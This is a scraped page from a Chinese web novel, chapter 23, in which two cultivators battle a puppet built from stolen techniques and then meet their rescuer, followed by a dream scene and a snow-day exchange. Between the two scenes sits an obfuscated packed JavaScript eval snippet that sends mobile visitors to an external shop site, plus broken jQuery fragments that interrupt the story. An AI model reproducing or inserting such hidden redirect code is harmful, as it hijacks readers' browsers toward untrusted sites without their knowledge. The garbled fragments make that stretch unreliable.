文趣网 > 都市小说 > 清冷师尊又在见死不救 > 23. 第 23 章
    “我说,你这挣钱的本事真够可以的啊。”二人从三清门辞别。燕凭云掂着手里孟家给的赏金,乐得合不拢嘴。

    金霞倚付出的多,收到的自然更多。

    她不显山不露水地抿唇一笑,写着“君子爱财”的玉骨折扇一摇:“唉,早说你没有这方面头脑。跟着姐混,保你吃香喝辣。”

    清风拂过,空气中带了一丝不同寻常的气息。

    金霞倚的笑意收敛。金蟾从她的包里跳了出来,落地“嘎”地一声,圆鼓鼓的大眼睛左瞅瞅、右瞅瞅。燕凭云也翻出了背后的桐木琴,神色肃穆又戒备地抬手按弦。

    半晌,风平浪静,只有不知名的鸟咕咕叫了两声,拍翅飞去。但那种如芒在背的危机感并没有解除。

    燕凭云冷声:“阁下何不出来一见?”

    朋友才有见面的必要。

    将死之人,见血就可以了。

    空中兀地传来一声刀啸声,尖锐如阴间鬼哭。

    燕凭云和金霞倚下意识看向声响发出的方位。

    金蟾发现了什么,急得大叫,“噶”地一声从嘴里吐出一把唢呐,舌头一卷,将唢呐衔入口中,发出“哧”的一声气响。

    二人这才发现,一道墨黑色的刀势从声响发出的反方向而来,擦过燕凭云的鬓角,她急急闪身躲避,却还是削掉了她一缕黑发。

    “装神弄鬼。”金霞倚面色不善,她眯起琥珀色的眼睛,灵力从她掌心注入金蟾之中,原来脸盆大小的金蟾像充了水一样,长成两个磨盘大。

    背部的蟾纹撑开显得可怖。它的爪蹼抓着纯金的唢呐,圆眼鼓起,猛地一吹。

    “噗呜——”

    尖锐的唢呐声震得百鸟惊飞,一层一层的声浪,竟一片片削去了周遭的树木。那隐于林中的不速客也无处藏身。

    墨刀如流水一般席卷而出,燕凭云眼睫一动,桐木琴阵阵激荡,音浪将操刀之人逼得前进不得。

    不对。

    那不是一个人。

    林中飞身而出的黑色身影站定,缓缓直起身。

    那是一个裹着黑色破布的人型偃甲。从破布下面隐隐可以看见,它的腿部是类似于螳螂的节肢设计,能够帮助它更好地扭转身位和跳跃。

    金霞倚皱着眉:“这是不是抓走楚陌的那个偃甲?”

    “恐怕更糟。”燕凭云眸色沉下来,“看样子,它的刀法是融合了楚陌的功法。”

    “不是吧?!楚陌修为那么高,我们怎么可能打得过?”偃甲不会等着她们二人闲谈,操着刀又迎面冲来,金霞倚不擅近战,急急后退。

    燕凭云举琴接下这凌厉的黑色刀光。没想到刀风居然穿透了琴弦架起的屏障,在她的琴身上留下了浅浅一道痕迹。

    她心疼地呲了呲牙。

    金蟾见她抵挡困难,企图吹出金音扰动,但是那偃甲并没有耳朵,不辨音律。

    一阵强攻而下,燕凭云的桐木琴招架不得,琴弦崩断,她面色大怒,抡起桐木琴就砸向偃甲的头部。

    对方愣愣地被砸偏了一下头,似乎在反应这是什么路数。

    “快跑啊!”燕凭云招呼金霞倚。这偃甲学了君师叔和楚陌的功法,不知道还有没有学别人的。偷来的功法虽不及本尊,但绝不是她们两个能对付的。

    碧海听潮阁是想将她们灭口。

    偃甲正了正墨刀,没有急于追赶二人,反倒是在原地扬起刀锋。

    刀势牵引着黑色流水一般的刀气,凝聚死亡的杀意,正是楚陌曽斩向暗蛇的那一刀。无声却如大江滔天。

    金霞倚瞥到身后这一幕,冷汗直冒,这要怎么躲?

    燕凭云轻轻说:“别看。”

    然后她猛地往金霞倚身上贴了一张传位符。这是离开三清门的时候,江扶疏掌门给她们的,告诉她们如遇麻烦可来三清门求助。

    那她自己呢?

    金霞倚感觉自己身轻如云,渐渐要飘摇而起,金蟾四足并用,“嘎嘎”叫着冲上来,缩小飞上她的肩头。

    燕凭云拎着残破的桐木琴回身。

    “噗嗤——”

    什么东西被破开的声音传来,金霞倚心头攥紧,她向下看去,那偃甲竟然扑通跪地,墨刀滑落一旁。

    她连忙撕下传位符,几步跃下云间。

    “这是怎么回事?”燕凭云拎着琴显然也有些发懵。

    “快让开!”一道熟悉的男声传来。

    叶片吹出的小调传来,无形之音如小刀一样将偃甲反复切割,偃甲被切得七零八落、不成人形,但一道红光从偃甲的核心处缓缓释放,眼看就要爆炸。

    一个巨大的金色编钟落地,将那道红光罩在其中。编钟之内发出砰的一声巨响,而钟外只是震了震。

    “还好啊,还好赶上了。”一道干净的白色身影急匆匆走出,他挥挥手散去了编钟。

    燕凭云对着这位“义士”一抱拳:“大恩不言谢,敢问您师从何处?”

    金霞倚却不动声色地瞧了他半天,两根指头摸着下巴,眯起眼试探地问道:“君师叔?”

    对方哈哈一笑。

    这白衣风流,墨发白面的俊美青年,和君子堂后山中半身不遂的邋遢废人相去甚远。

    金霞倚是觉得他声音耳熟。音修对声音敏感,这才大胆问起。

    君无名笑着点点头:“是我。”

    燕凭云愣了半天没反应过来:“……您不是?”

    您不是废了很多年吗?

    君无名嘿嘿一笑:“前几年在后山有奇遇。”

    燕凭云和金霞倚露出鄙夷的表情。什么有奇遇,那后山她们也去了多少回了,除了竹子和怪石,其他一根毛都没有。明明就是天才修为被废之后又重新修成了。把自己偷懒不干活美名其曰奇遇是吧?

    燕凭云从牙缝里挤出几个字:“所以您逃了这么多年的外出任务?”

    这些年君子堂新招的弟子难成大器,但凡能外出的弟子全部派出去执行任务了。

    连各位长老也没闲着。

    眼前这位倒是在后山乐得清闲。

    君无名面色一变,眼神心虚地一旁瞟。

    二人见他这反应,二话不说,一个操着破琴,一个指挥金蟾,撵在他屁股后面追。

    君无名哀嚎的声音回荡在林间:“哎呦!以下犯上、欺师灭祖了!师门不幸啊!”

    “蚩澜……”那是谁的名字?

    一道熟悉但是怎么也想不起来源的声音在脑海里回荡。

    “醒醒……蚩澜…

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17827378|208760||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …”阴魂不散!云岚下意识催动剑招,在黑暗中劈砍,但剑招就像落入虚无一样,没有回音。

    “你是谁?”那个声音重复的内容变了,语气还是一样的讨厌。

    “我是谁?”云岚皱着眉,她甩甩头,努力把黏糊的不清醒从脑海中甩出。

    “我是……我是云岚……”

    “云岚?蚩澜,你记错了,你是蚩澜,别忘了你是谁……”那道可恶的声音自作主张地给她了一个新名字。

    怎么可能,云这个姓,她绝不会忘记。对了,她为什么姓云来着?

    云岚大喊:“等等,你是谁!”

    对方再也没有回应,云岚咬着牙朝黑暗之中奔去,却被一道无形的墙弹醒。

    周遭的黑气像潮水一般尽数褪回她体内,云岚骤然惊醒。

    如果江扶疏在,他便能认出刚才云岚身边围绕的黑气,正是最纯正的魔气。

    她又在太清池睡着了吗?

    头好痛。

    像是被人用双手撕开了脑壳又缝上后的那种痛,久久缓不过劲。

    云岚抬了抬眼。

    愣住了。

    太清池周围的桃花树被砍得七零八落,颓然满地。

    是自己在睡梦中砍的吗?为什么自己会这种剑招?梦中那个声音提到的蚩澜又是谁?

    云水碧天回应她的请问,纷纷白雪此刻落下。

    终年如春的太清池失去了桃林的遮挡,白雪坠入此间,又来不及落入太清池中又被温暖的蒸气化去。

    云岚冷得一激灵,她连忙披衣起身。

    揉了揉浑身酸疼的筋骨,她赤脚奔在大殿中。

    缃帙殿内,常年只有江扶疏一人,见客也只在主殿,太清池所在的偏殿在剑峰背面,无人造访。

    云岚宽大的袖袍被风鼓起,她也不知道自己为什么要跑回寝殿,似乎不跑起来,那些甩不掉的羁绊就会追上她。

    心头渐渐热起,她喘着气合上门。

    傍晚时分,雪没有减弱的迹象,反而落得像鹅毛一样大。

    三清门的弟子们都无心练剑,三三两两凑在一起玩雪去了。

    江扶疏叩响云岚寝殿的门。

    她闷闷地门里应了一声。

    这是怎么了?江扶疏纳闷。

    “殿外落了雪,弟子们都去玩闹了,不知道你想不想出去走走?”他想着,云岚心性还小,或许也会喜欢看雪。

    “不想去……”隔着门,云岚的声音听着蔫蔫的。

    难道是淋了雪,发烧了?正当江扶疏思索时,一个毛茸茸的头从门内挤出来。

    云岚穿得像只雪兔一样,把自己裹得严严实实,绒绒的披风十分厚实:“等等,我去。”

    江扶疏微微一笑,从怀里掏出一个还热乎的白糖糕:“不急,今天还没吃晚饭吧?”

    云岚眼前一亮,她最喜欢这种刚出锅还发着热气,只裹了白糖的云糕,清甜美味,十分适合今天的天气。

    她接过白糖糕,因为室内穿着披风而捂得粉扑扑的面颊快速凑近江扶疏,在他脸上亲了一下:“谢谢夫君。”

    而后眼睫弯弯,如月牙一般自顾自地笑着往前走。

    江扶疏愣住,半晌抬起手,摸了摸那半边脸。